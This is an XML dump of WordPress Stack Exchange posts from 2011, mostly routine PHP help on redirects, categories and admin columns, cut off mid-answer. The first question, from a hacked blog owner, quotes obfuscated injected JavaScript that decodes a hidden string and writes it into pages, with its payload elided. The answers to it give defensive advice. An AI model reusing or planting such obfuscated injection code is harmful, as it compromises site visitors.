  <row Id="8193" PostTypeId="1" CreationDate="2011-01-31T12:57:13.637" Score="3" ViewCount="204" Body="&lt;p&gt;I have a blog created with wordpress, now i have a problem. Attackers writes javascript codes into my files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume i have holes in my plugin scripts, but how can they write into php files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is part of the list of php files, in which they write the script &#xA;(&lt;code&gt;index.php, wp-activate.php, wp-comments-post.php, wp-settings.php ...&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this is the javascript they write into&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; language=&quot;javascript&quot;&amp;gt;kxjwm=&quot;225222 ... 2&quot;;madds=100;wljam=this;cjayr=&quot;i&quot;+&quot;te&quot;;geijt=116;fsmuj=&quot;wr&quot;+cjayr;for(yadii in wljam){if(yadii.length==8 &amp;amp;&amp;amp; yadii.charCodeAt(0)==madds &amp;amp;&amp;amp; yadii.charCodeAt(7)==geijt){break;}}o=&quot;&quot;;bqcqp=0;qczew=wljam[yadii];dlhge=53;while (bqcqp&amp;lt;kxjwm.length){voxhw=0;for(evedn=0;evedn&amp;lt;8;evedn++){voxhw=voxhw&amp;lt;&amp;lt;1;if(kxjwm.charCodeAt(bqcqp+evedn)==dlhge){voxhw++;}}bqcqp=bqcqp+3;qczew[fsmuj](String.fromCharCode(voxhw));bqcqp=bqcqp+5;}&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i prevent such attacks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't any experience with wordpress, so any help will be very nice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks much&lt;/p&gt;&#xA;" OwnerUserId="2845" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-01T07:33:57.427" LastActivityDate="2011-02-01T07:33:57.427" Title="How Attackers write script into my php files?" Tags="&lt;php&gt;&lt;security&gt;&lt;hacked&gt;" AnswerCount="2" />
  <row Id="8194" PostTypeId="2" ParentId="8193" CreationDate="2011-01-31T13:06:39.897" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Syom:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often hackers get access because you use the name &lt;em&gt;&quot;admin&quot;&lt;/em&gt; for your administrator and you have an easy to hack password.  Or because you don't update your software and they leverage some of the security holes that have been found and patched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a set of slides that go indepth to explaining how to secure your WordPress site that were just presented at WordCamp Phoenix this past weekend:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.slideshare.net/armeda/wordpress-enduser-security&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress End-User Security&lt;/strong&gt;&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here are some blog posts by Otto on the subject:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ottopress.com/2009/hacked-wordpress-backdoors/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;How to find a backdoor in a hacked WordPress&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ottopress.com/2010/anatomy-of-a-theme-malware/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Anatomy of a Theme Malware&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-31T13:21:14.823" LastActivityDate="2011-01-31T13:21:14.823" CommentCount="4" />
  <row Id="8195" PostTypeId="2" ParentId="8191" CreationDate="2011-01-31T13:14:17.687" Score="1" ViewCount="" Body="&lt;p&gt;Using &lt;code&gt;&amp;lt;?php the_post_thumbnail('large'); ?&amp;gt;&lt;/code&gt; instead of &lt;code&gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&lt;/code&gt; fixed the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&lt;/code&gt; seems to have a very weird default setting for resizing thumbnails.&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-01-31T13:14:17.687" CommentCount="2" />
  <row Id="8196" PostTypeId="2" ParentId="8193" CreationDate="2011-01-31T13:57:26.133" Score="1" ViewCount="" Body="&lt;p&gt;There are multiple ways that is possible:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;compromised FTP / SSH login;&lt;/li&gt;&#xA;&lt;li&gt;compromised WordPress login;&lt;/li&gt;&#xA;&lt;li&gt;faulty server security configuration;&lt;/li&gt;&#xA;&lt;li&gt;compromised server;&lt;/li&gt;&#xA;&lt;li&gt;some kind of backdoor installed;&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You should contact hosting support immediately, then it depends on quality and price of your hosting how much will they help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that if you are not confident in technical skills I suggest to look for someone who deals with cleanup of hacked blogs professionally, otherwise you won't be sure about specifics of hack and security in the future.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-31T13:57:26.133" />
  <row Id="8197" PostTypeId="1" AcceptedAnswerId="8199" CreationDate="2011-01-31T14:05:34.503" Score="3" ViewCount="174" Body="&lt;p&gt;I have a situation where I need to hide a specific category and it's children from users who are logged in as Contributors. I don't want them to see this category and it's children in the categories meta-box on the add new post screen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find a plugin (that works) to do this, wondering if someone else knows of one, or even better if there is a function I can use to do this?&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2011-01-31T14:31:37.077" Title="How can I hide a category from Contributors in the edit/add new post screen?" Tags="&lt;categories&gt;&lt;user-access&gt;&lt;user-roles&gt;&lt;modifications&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="8198" PostTypeId="2" ParentId="8197" CreationDate="2011-01-31T14:13:35.027" Score="1" ViewCount="" Body="&lt;p&gt;Looks like I have answered my own question, I found a plugin called &lt;a href=&quot;http://wordpress.org/extend/plugins/restrict-categories/&quot; rel=&quot;nofollow&quot;&gt;Restrict Categories&lt;/a&gt; that does exactly this.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2011-01-31T14:13:35.027" CommentCount="4" />
  <row Id="8199" PostTypeId="2" ParentId="8197" CreationDate="2011-01-31T14:31:37.077" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@davemac:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, I wrote this before I saw that you answered your own question so I might as well post it anyway:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('list_terms_exclusions', 'yoursite_list_terms_exclusions', 10, 2);&#xA;function yoursite_list_terms_exclusions( $exclusions, $args ) {&#xA;  global $pagenow;&#xA;  if (in_array($pagenow,array('post.php','post-new.php')) &amp;amp;&amp;amp; &#xA;     !current_user_can('see_special_cats')) {&#xA;    $exclusions = &quot; {$exclusions} AND t.slug NOT IN ('slug-one','slug-two')&quot;;&#xA;  }&#xA;  return $exclusions;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code presumes that you've used a plugin like the &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;Members plugin&lt;/a&gt; to create a &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;capability&lt;/a&gt; called &lt;code&gt;'see_special_cats'&lt;/code&gt; and that you've assigned it to every role that you want to have access to the categories except of course &lt;code&gt;'Contributors'&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you found the plugin you may not need this, but maybe it will help someone else.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-31T14:31:37.077" CommentCount="2" />
  <row Id="8200" PostTypeId="1" CreationDate="2011-01-31T14:37:16.070" Score="0" ViewCount="70" Body="&lt;p&gt;I use the_author_posts_link() to get the link to author's posts in my theme but if the author's name has space then it gives me a 404. Please help. Thanks.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-31T14:43:26.017" Title="Space in Author Name Breaks Leads to 404" Tags="&lt;code&gt;" AnswerCount="0" CommentCount="3" />
  <row Id="8202" PostTypeId="1" CreationDate="2011-01-31T14:51:56.083" Score="1" ViewCount="219" Body="&lt;p&gt;Have multisite set up and would like to redirect users on logout to the root site home page.  I know there has to be an answer for this.  But I can't find it!  driving me batty;-)  Any help greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2567" LastActivityDate="2011-01-31T15:06:42.850" Title="Redirect users on logout" Tags="&lt;multisite&gt;&lt;redirect&gt;" AnswerCount="3" />
  <row Id="8203" PostTypeId="2" ParentId="8202" CreationDate="2011-01-31T14:57:53.193" Score="1" ViewCount="" Body="&lt;p&gt;use &lt;code&gt;wp_logout_url( $redirect );&lt;/code&gt; $redirect is the url for them to be redirected to.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-31T14:57:53.193" CommentCount="1" />
  <row Id="8204" PostTypeId="1" CreationDate="2011-01-31T12:36:29.733" Score="4" ViewCount="127" Body="&lt;p&gt;I opened a ticket now about 10 months ago on worpdress trac: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/13067&quot; rel=&quot;nofollow&quot;&gt;Ticket #13067: Configuration of Plugin and Theme Repository/ies&lt;/a&gt;. It's about adding a feature to WordPress that plugin repostories can be configured, like you can configure your software repositories on any linux system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I first thought about that years ago so that I can easily offer updates to clients for their themes. Most themes were individually developed for their visual identity. But I can imagine that this is useful for many other users as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it looks like, the WordPress core project does not want to integrate such a feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the alternative would be to create a plugin that is adding multiple repositories. Any user/developer/project/group/org/agency/company who wants to offer services via a repository on their own could refer to a standard plugin therefore. That would lower the burden for everybody.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I wanted to suggest the idea here and to ask around who is interested in supporting such a thing.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-01-31T15:06:33.507" LastActivityDate="2011-02-02T08:53:00.520" CommunityOwnedDate="2011-01-31T15:21:27.480" Title="Plugin and Theme Repository Configuration - Who wants to help?" Tags="&lt;development&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="5" />
  <row Id="8205" PostTypeId="2" ParentId="8202" CreationDate="2011-01-31T15:05:02.947" Score="1" ViewCount="" Body="&lt;p&gt;You can probably accomplish what you need to with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_logout_url&quot; rel=&quot;nofollow&quot;&gt;wp_logout_url( $redirect )&lt;/a&gt;. I'd try replacing the logout link in your theme's template files with something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo wp_logout_url( network_home_url() ); ?&amp;gt;&quot; title=&quot;Logout&quot;&amp;gt;Logout&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's not a codex page for network_home_url(), but there is one for &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/home_url&quot; rel=&quot;nofollow&quot;&gt;home_url()&lt;/a&gt;, and it mentions using network_home_url() for a multisite install.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-01-31T15:05:02.947" />
  <row Id="8206" PostTypeId="2" ParentId="8202" CreationDate="2011-01-31T15:06:42.850" Score="1" ViewCount="" Body="&lt;p&gt;you can use &lt;code&gt;wp_logout_url( $redirect);&lt;/code&gt; as Pippin sugested if you are echoing out the logout link and if you need it for the built-in logout link on the backend you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//function to redirect after logout&#xA;function logout_redirect765(){&#xA;  wp_redirect( home_url() ); &#xA;  exit; &#xA;}&#xA;&#xA;//hook function  to wp_logout action&#xA;add_action('wp_logout','logout_redirect765');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-31T15:06:42.850" CommentCount="1" />
  <row Id="8207" PostTypeId="2" ParentId="8204" CreationDate="2011-01-31T15:27:09.907" Score="3" ViewCount="" Body="&lt;p&gt;Not exactly adding Repository Configuration but something very similar was asked on how to update private plugins and themes and there are some good answer but I would recommend this one:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/13/updates-for-a-private-plugin/44#44&quot;&gt;Updates for a private plugin?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can see this script which calls your server and does a version compare to trigger an update:&#xA;&lt;a href=&quot;http://konstruktors.com/blog/wordpress/2538-automatic-updates-for-plugins-and-themes-hosted-outside-wordpress-extend/&quot; rel=&quot;nofollow&quot;&gt;http://konstruktors.com/blog/wordpress/2538-automatic-updates-for-plugins-and-themes-hosted-outside-wordpress-extend/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and another script which is a custom update checker integrates closely with the upgrade system already built into WordPress, producing a seamless user experience&#xA;&lt;a href=&quot;http://w-shadow.com/blog/2010/09/02/automatic-updates-for-any-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://w-shadow.com/blog/2010/09/02/automatic-updates-for-any-plugin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2370" LastEditorDisplayName="" LastEditDate="2011-02-02T08:53:00.520" LastActivityDate="2011-02-02T08:53:00.520" CommunityOwnedDate="2011-01-31T15:27:09.907" />
  <row Id="8209" PostTypeId="1" AcceptedAnswerId="8210" CreationDate="2011-01-31T15:54:01.833" Score="0" ViewCount="207" Body="&lt;p&gt;Is there any method to close connection similar to mysql_close() for wpdb in wordpress?&#xA;Is it not necessary to close connection for global wpdb?&lt;/p&gt;&#xA;" OwnerUserId="1302" LastEditorUserId="1302" LastEditorDisplayName="" LastEditDate="2011-02-01T10:25:45.673" LastActivityDate="2011-02-01T10:25:45.673" Title="How to close wpdb connection?" Tags="&lt;database&gt;&lt;wpdb&gt;" AnswerCount="1" />
  <row Id="8210" PostTypeId="2" ParentId="8209" CreationDate="2011-01-31T16:14:24.127" Score="3" ViewCount="" Body="&lt;p&gt;There is no explicit method. It stores link identifier in &lt;code&gt;$wpdb-&amp;gt;dbh&lt;/code&gt; field, so I guess you could use &lt;code&gt;mysql_close()&lt;/code&gt; on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do you need it btw? If you want to reuse &lt;code&gt;$wpdb&lt;/code&gt; it is better to create separate &lt;code&gt;wpdb&lt;/code&gt; object instead.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-31T16:14:24.127" CommentCount="2" />
  <row Id="8211" PostTypeId="2" ParentId="5868" CreationDate="2011-01-31T16:24:57.053" Score="0" ViewCount="" Body="&lt;p&gt;I like &lt;a href=&quot;http://quommunication.com/video/&quot; rel=&quot;nofollow&quot;&gt;Video from Quommunication&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2011-01-31T16:24:57.053" />
  <row Id="8212" PostTypeId="1" CreationDate="2011-01-31T17:13:24.293" Score="0" ViewCount="133" Body="&lt;p&gt;I need to grab a list of current events. The events have a start and end date so I need to be able to select a range as opposed to just getting any list of events that have an end date that is after today's date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestions as to how to do this? (from what I've read there doesn't seem to be a way to use multiple &quot;meta_key&quot; and &quot;meta_compare&quot; values, but there must be a way some how)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of what I'm using in my arguments, but I need to also do this for the start date as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'meta_key' =&amp;gt; 'end_date_value', 'meta_compare' =&amp;gt; '&amp;gt;', 'meta_value' =&amp;gt; $todaysDate,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1462" LastActivityDate="2011-01-31T19:58:59.263" Title="How to get events using multiple custom meta fields?" Tags="&lt;query&gt;&lt;comparison&gt;&lt;custom-field&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="8214" PostTypeId="2" ParentId="8212" CreationDate="2011-01-31T17:45:07.330" Score="1" ViewCount="" Body="&lt;p&gt;Not quite efficent, but you may do two query. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One that extract the events that have a date greater than the startDate, and the other tha have the end time lower than your end data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you can do an  &lt;a href=&quot;http://php.net/manual/en/function.array-intersect.php&quot; rel=&quot;nofollow&quot; title=&quot;Array Intersect&quot;&gt;array_intersect()&lt;/a&gt; the two arrays.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastEditorUserId="2727" LastEditorDisplayName="" LastEditDate="2011-01-31T19:58:59.263" LastActivityDate="2011-01-31T19:58:59.263" />
  <row Id="8216" PostTypeId="2" ParentId="8212" CreationDate="2011-01-31T17:53:46.560" Score="1" ViewCount="" Body="&lt;p&gt;You can use your current code to create the query and then in your loop run a check before displaying the events something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;query_posts('meta_key' =&amp;gt; 'end_date_value', 'meta_compare' =&amp;gt; '&amp;gt;', 'meta_value' =&amp;gt; $todaysDate);&#xA;&#xA; while ( have_posts() ) : the_post();&#xA;   $post_custom = get_post_custom($post_id);&#xA;   if ($startDate &amp;lt; $post_custom['start_date_value']){&#xA;    //your loop here&#xA;   }  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;?&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;keep in mind that this is not well coded way to do this ,I would probably create a better sql query or use &quot;posts_where&quot; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but its a start &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-31T17:53:46.560" />
  <row Id="8217" PostTypeId="1" AcceptedAnswerId="8221" CreationDate="2011-01-31T17:53:46.800" Score="1" ViewCount="212" Body="&lt;p&gt;Is there anyway to assign all new posts that have a custom post_type to a specific category? For example, say I have a post_type that is for Actors. Is there anyway to assign any post that is under Actors to a &quot;People&quot; category? (but without displaying the Category box in the WordPress Admin)&lt;/p&gt;&#xA;" OwnerUserId="1462" LastActivityDate="2011-01-31T18:12:36.083" Title="Anyway to assign custom post types to a specific category?" Tags="&lt;custom-post-types&gt;&lt;categories&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="8218" PostTypeId="2" ParentId="8165" CreationDate="2011-01-31T18:01:33.570" Score="0" ViewCount="" Body="&lt;p&gt;Thanks Guys... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the below function to pass the input to the timthumb script. Here, I pass absolute path, but when i pass the absolute path, I get error, So i would like to convert the absolute path to relative path. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please help me to modify the below function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/timthumb.php?src=' . $data . '&amp;amp;h=80&amp;amp;w=80&amp;amp;zc=1&quot;&lt;/strong&gt; Here &lt;strong&gt;.$data.&lt;/strong&gt; should be relative path.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function portfolio_small_single($id){&#xA;$meta_value = get_post_meta($id, '_port_data', true);&#xA;&#xA;$return = '&amp;lt;ul id=&quot;small_thumb_lists&quot;&amp;gt;' . &quot;\n&quot;;&#xA;if( $meta_value != &quot;&quot;){&#xA;    foreach( $meta_value as $i =&amp;gt; $data ){&#xA;        if(!empty($data)) {&#xA;        $return .= '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.$data.'&quot;&amp;gt;' . &quot;\n&quot;;&#xA;            if(linkisimage($data))&#xA;                $return .= '&amp;lt;img src=&quot;' . get_bloginfo('template_url') . '/timthumb.php?src=' . $data . '&amp;amp;amp;h=80&amp;amp;amp;w=80&amp;amp;amp;zc=1&quot; alt=&quot;&quot; /&amp;gt;';&#xA;            else&#xA;                $return .= '&amp;lt;img src=&quot;' . get_bloginfo('template_url') . '/images/vid80.jpg&quot; width=&quot;80&quot; height=&quot;80&quot; alt=&quot;&quot; /&amp;gt;';&#xA;        $return .= '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;' . &quot;\n&quot;;&#xA;        }&#xA;    }&#xA;}&#xA;$return .= '&amp;lt;/ul&amp;gt;' . &quot;\n&quot;;&#xA;&#xA;return $return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" LastActivityDate="2011-01-31T18:01:33.570" CommentCount="1" />
  <row Id="8219" PostTypeId="1" AcceptedAnswerId="8231" CreationDate="2011-01-31T18:02:38.890" Score="1" ViewCount="115" Body="&lt;p&gt;I was just looking at wp_update_term and haven't found any possibility to update the &quot;name&quot; of the term. My scenario is pretty simple: I got some predefined taxonomy terms in a config file like this (just an example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$taxonomy_terms = array(&#xA;  'taxonomy_a' =&amp;gt; array( 'term_a', 'term_b', 'term_c' )&#xA; ,'taxonomy_b' =&amp;gt; array( 'term_d', 'term_e', 'term_f' )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now i'm trying to update these terms based on their id. So if the id exists, i change just the name. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here does my problem start: wp_update_term doesn't offer any possibility to update the name of term... Does anybody know of some work around, or do i just oversee something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-26T13:43:30.100" Title="wp_update_term: How could i update the &quot;name&quot;?" Tags="&lt;terms&gt;" AnswerCount="2" />
  <row Id="8220" PostTypeId="2" ParentId="8159" CreationDate="2011-01-31T18:12:32.790" Score="0" ViewCount="" Body="&lt;p&gt;Have you looked at BuddyPress? It's was built for Wordpress but continued to grow.  It has it's own installation and you can make a whole user community (or social network) like facebook.   It's at buddypress.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps,&#xA;elaine&#xA;&lt;a href=&quot;http://www.enzolina.com/web&quot; rel=&quot;nofollow&quot;&gt;http://www.enzolina.com/web&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-01-31T18:12:32.790" />
  <row Id="8221" PostTypeId="2" ParentId="8217" CreationDate="2011-01-31T18:12:36.083" Score="1" ViewCount="" Body="&lt;p&gt;you can first remove the category meta box from Actors post type edit screen like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function remove_custom_taxonomy()&#xA; {&#xA;    remove_meta_box( 'categorydiv', 'custom_post_slug', 'side' );&#xA; }&#xA;&#xA;add_action( 'admin_menu', 'remove_custom_taxonomy' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then create a function that will add the category on save_post&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function default_category($post_id){&#xA;     // check autosave&#xA;    if (defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;     // check for post type&#xA;    if ('Actors' == $_POST['post_type']) {&#xA;            $Default_category_id = '23';&#xA;        wp_set_post_terms( $post_id,$Default_category_id , 'category', ture );&#xA;     }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-31T18:12:36.083" CommunityOwnedDate="2011-01-31T18:12:36.083" CommentCount="4" />
  <row Id="8222" PostTypeId="1" AcceptedAnswerId="8225" CreationDate="2011-01-31T18:15:09.743" Score="1" ViewCount="130" Body="&lt;p&gt;&lt;em&gt;(Since my custom post type is a little long, I've for the sake of simplicity, copied over a dummy one)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying to do is, say I describe a few &quot;similar&quot; variables, i.e. price1, price2, price3, etc. would I be able to stack those values in a single column (as opposed to showing it over 3 columns), i.e. &lt;code&gt;$price1&amp;lt;br /&amp;gt;$price2&amp;lt;br /&amp;gt;$price3&lt;/code&gt; ? The reasons are purely aesthetic as the custom post type columns would get really crowded quickly otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you! (like said, the part below isn't the actual code I'm using, but I thought it would be good if someone else would be searching the same thing)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter(&quot;manage_edit-product_columns&quot;, &quot;prod_edit_columns&quot;);&#xA;add_action(&quot;manage_posts_custom_column&quot;,  &quot;prod_custom_columns&quot;);&#xA;&#xA;function prod_edit_columns($columns){&#xA;  $columns = array(&#xA;   &quot;cb&quot; =&amp;gt; &quot;&amp;lt;input type=\&quot;checkbox\&quot; /&amp;gt;&quot;,&#xA;   &quot;title&quot; =&amp;gt; &quot;Product Title&quot;,&#xA;   &quot;description&quot; =&amp;gt; &quot;Description&quot;,&#xA;   &quot;price1&quot; =&amp;gt; &quot;Price1&quot;,&#xA;   &quot;catalog&quot; =&amp;gt; &quot;Catalog&quot;,&#xA;  );&#xA;&#xA;  return $columns;&#xA;}&#xA;&#xA;function prod_custom_columns($column){&#xA;  global $post;&#xA;  switch ($column)&#xA;  {&#xA;   case &quot;description&quot;:&#xA;    the_excerpt();&#xA;    break;&#xA;   case &quot;price&quot;: // Now here I have to define the field, but how would I drag in other subsequent price fields?&#xA;    $custom = get_post_custom();&#xA;    echo $custom[&quot;price&quot;][0];&#xA;    break;&#xA;   case &quot;catalog&quot;:&#xA;    echo get_the_term_list($post-&amp;gt;ID, 'catalog', '', ', ','');&#xA;    break;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-01-31T18:29:02.507" Title="Custom Post Types: Can you add more than one Variable to a Column?" Tags="&lt;custom-post-types&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="8223" PostTypeId="1" AcceptedAnswerId="8226" CreationDate="2011-01-31T18:16:14.113" Score="1" ViewCount="134" Body="&lt;p&gt;I've been given the directive to &quot;retire&quot; about 1000 articles from a wordpress site I maintain. Deleting the posts from the DB is trivial, but how would one go about deleting the orphaned files from the uploads folder? &lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2011-01-31T18:33:11.503" Title="How to delete orphan attachments?" Tags="&lt;attachments&gt;&lt;uploads&gt;" AnswerCount="1" />
  <row Id="8224" PostTypeId="1" CreationDate="2011-01-31T18:20:25.233" Score="0" ViewCount="696" Body="&lt;p&gt;I'm interested in a wordpress plug-in that is able to make from tags or categories multiple search criteria like left hand side of the following site system &lt;a href=&quot;http://www.olx.com/dvd-cat-238&quot; rel=&quot;nofollow&quot;&gt;http://www.olx.com/dvd-cat-238&lt;/a&gt;&#xA;When one of the criteria filter is selected the content displayed should be displayed regarding that selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If multiple criteria is selected the displayed content should contain all the selected filter simultaneously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards &lt;/p&gt;&#xA;" LastActivityDate="2011-01-31T23:39:26.100" Title="Is there any multiple filter/criteria plugin for wordpress?" Tags="&lt;plugins&gt;&lt;filters&gt;" AnswerCount="2" FavoriteCount="0" />
  <row Id="8225" PostTypeId="2" ParentId="8222" CreationDate="2011-01-31T18:29:02.507" Score="3" ViewCount="" Body="&lt;p&gt;yea you can do just that. you only need to change the output function which in this case is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function prod_custom_columns($column){&#xA;  global $post;&#xA;  switch ($column)&#xA;  {&#xA;   case &quot;description&quot;:&#xA;    the_excerpt();&#xA;    break;&#xA;   case &quot;price&quot;: // Now here I have to define the field, but how would I drag in other subsequent price fields?&#xA;    $custom = get_post_custom();&#xA;    echo $custom[&quot;price&quot;][0];&#xA;    break;&#xA;   case &quot;catalog&quot;:&#xA;    echo get_the_term_list($post-&amp;gt;ID, 'catalog', '', ', ','');&#xA;    break;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to display what you want for each column  say your price&#xA;change it to something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;case &quot;price&quot;: // Now here I have to define the field, but how would I drag in other subsequent price fields?&#xA;    $custom = get_post_custom();&#xA;    echo $custom[&quot;price&quot;][0];&#xA;    echo 'br /&amp;gt;';&#xA;    echo $custom[&quot;another_FIELD&quot;][0];&#xA;    echo 'br /&amp;gt;';&#xA;    echo $custom[&quot;yet_another_FIELD&quot;][0];&#xA;    break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this 